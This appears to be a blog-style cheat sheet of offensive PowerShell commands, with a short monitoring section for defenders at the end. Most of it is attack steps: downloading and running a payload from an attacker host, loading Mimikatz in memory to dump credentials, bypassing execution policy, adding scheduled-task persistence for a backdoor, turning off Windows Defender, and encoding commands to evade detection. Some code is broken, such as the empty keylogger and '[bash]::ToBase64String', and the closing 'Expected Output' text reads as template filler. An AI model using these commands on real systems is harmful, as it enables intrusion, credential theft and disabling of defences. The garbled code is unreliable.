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PowerShell is a powerful scripting language and automation framework that has become a staple in both IT administration and offensive security. Its deep integration with Windows systems makes it an invaluable tool for hackers and penetration testers.
👉 Reference: PowerShell for Hackers
You Should Know: Essential PowerShell Commands for Offensive Security
1. Basic PowerShell Reconnaissance
Gather system information, users, and network details:
Get-WmiObject -Class Win32_ComputerSystem Get-LocalUser Get-NetTCPConnection -State Established
2. Download and Execute Payloads
Download a file from a remote server and execute it:
Invoke-WebRequest -Uri "http://attacker.com/shell.exe" -OutFile "C:\Temp\shell.exe" Start-Process "C:\Temp\shell.exe"
3. Bypassing Execution Policy
PowerShell restricts script execution by default. Bypass it with:
Set-ExecutionPolicy Bypass -Scope Process -Force
4. Mimikatz in Memory (Credential Dumping)
Load Mimikatz directly into memory without touching disk:
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -DumpCreds
5. Persistence with Scheduled Tasks
Create a scheduled task to maintain access:
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -ExecutionPolicy Bypass -File C:\Malware\backdoor.ps1" $Trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -TaskName "UpdateService" -Action $Action -Trigger $Trigger -RunLevel Highest
6. Disabling Windows Defender
Turn off real-time protection:
Set-MpPreference -DisableRealtimeMonitoring $true
7. Keylogging with PowerShell
Capture keystrokes and exfiltrate data:
$Keylogger = @"
while($true) {
Start-Sleep -Milliseconds 100
}
"@
$Keylogger | Out-File "C:\Temp\logger.ps1"
8. Obfuscating PowerShell Commands
Avoid detection by encoding commands:
$Command = "Write-Host 'Hello, Hacker!'" $Encoded = [bash]::ToBase64String([Text.Encoding]::Unicode.GetBytes($Command)) powershell.exe -EncodedCommand $Encoded
What Undercode Say
PowerShell remains a dominant tool in both red and blue team operations due to its flexibility and deep Windows integration. Mastering offensive PowerShell techniques allows security professionals to simulate real-world attacks effectively. However, defenders can detect malicious PowerShell usage by monitoring:
– Unusual process spawning (powershell.exe with encoded commands)
– Suspicious network connections from PowerShell scripts
– Modifications to execution policies
For defenders, consider logging PowerShell activity with:
Start-Transcript -Path "C:\Logs\PowerShell_Activity.log"
Expected Output:
A well-documented PowerShell attack chain, including reconnaissance, payload delivery, privilege escalation, and persistence, while maintaining stealth through obfuscation.
For further reading, check out:
References:
Reported By: Nahamsec Doing – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
